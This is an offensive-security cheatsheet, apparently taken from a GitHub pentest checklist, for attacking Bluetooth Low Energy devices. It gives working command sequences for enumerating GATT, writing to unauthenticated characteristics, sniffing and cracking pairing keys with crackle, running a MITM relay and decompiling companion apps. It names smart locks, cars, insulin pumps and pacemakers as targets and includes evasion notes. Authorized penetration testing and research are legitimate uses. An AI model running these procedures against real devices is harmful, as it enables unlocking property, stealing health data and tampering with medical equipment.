Offensive Bluetooth Ble

Bluetooth Low Energy (BLE) Attacks

BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.

Quick Workflow

1. Discover and enumerate the device's GATT tree
2. Test every characteristic for read/write/notify without authentication
3. Inspect pairing method — Just Works = no MITM protection
4. If Just Works, MITM the pairing to capture / inject
5. Reverse the companion app for proprietary command formats

Discovery + GATT Enumeration

bashCopy code
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"

# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"

# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes

# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary           # list services
> char-desc         # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.

Characteristic Auth-Free Read/Write

Test every characteristic flagged read/write/notify:

bashCopy code
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
  echo "=== Handle $h ==="
  gatttool -b <MAC> --char-read --handle=$h
done

# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01

Common findings on consumer BLE devices:

• Door locks: unlock characteristic accepts any write (no auth)
• Smart bulbs: brightness/color writeable from any peer
• Wearables: PIN/lock-state readable
• BLE beacons: configurable from any peer (rebrand attacks)

Pairing Method Identification

bashCopy code
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works

LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.

Sniffing the Pairing Exchange

bashCopy code
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap

# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap

# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks

For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."

Active MITM During Pairing

bashCopy code
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py

If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.

Companion App Reverse Engineering

For vendor-defined characteristics, the format is in the app:

bashCopy code
# Pull APK
adb pull /data/app/com.vendor.app/base.apk

# Decompile
jadx -d app_src base.apk

# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/

# Look at the bytes the app writes vs. observed in-air values

Hand off to offensive-mobile for deeper companion analysis.

Specific Device Classes

Smart Locks

• Test unlock characteristic for unauth write
• Test if rolling token is replayable (capture-and-replay within window)
• Check for hardcoded LTK in firmware (chip-off + binary analysis — see offensive-iot)

Cars (BLE Phone-as-Key)

• Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
• Pairing-state machine flaws

Medical Devices

• Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
• Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)

Beacons (iBeacon, Eddystone)

• Often configurable with default password (0000, 12345678, vendor-specific)
• Rebrand for tracking-confusion or counter-marketing

Detection Considerations

• BLE has no native intrusion detection comparable to Wi-Fi WIDS
• Vendor cloud may detect anomalous characteristic patterns (rare)
• Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion

Engagement Cheatsheet

bashCopy code
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"

# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"

# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done

# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>

# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap

# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk

Key References

• Sniffle: github.com/nccgroup/Sniffle
• crackle: github.com/mikeryan/crackle
• bettercap BLE module: bettercap.org
• Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP
• "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md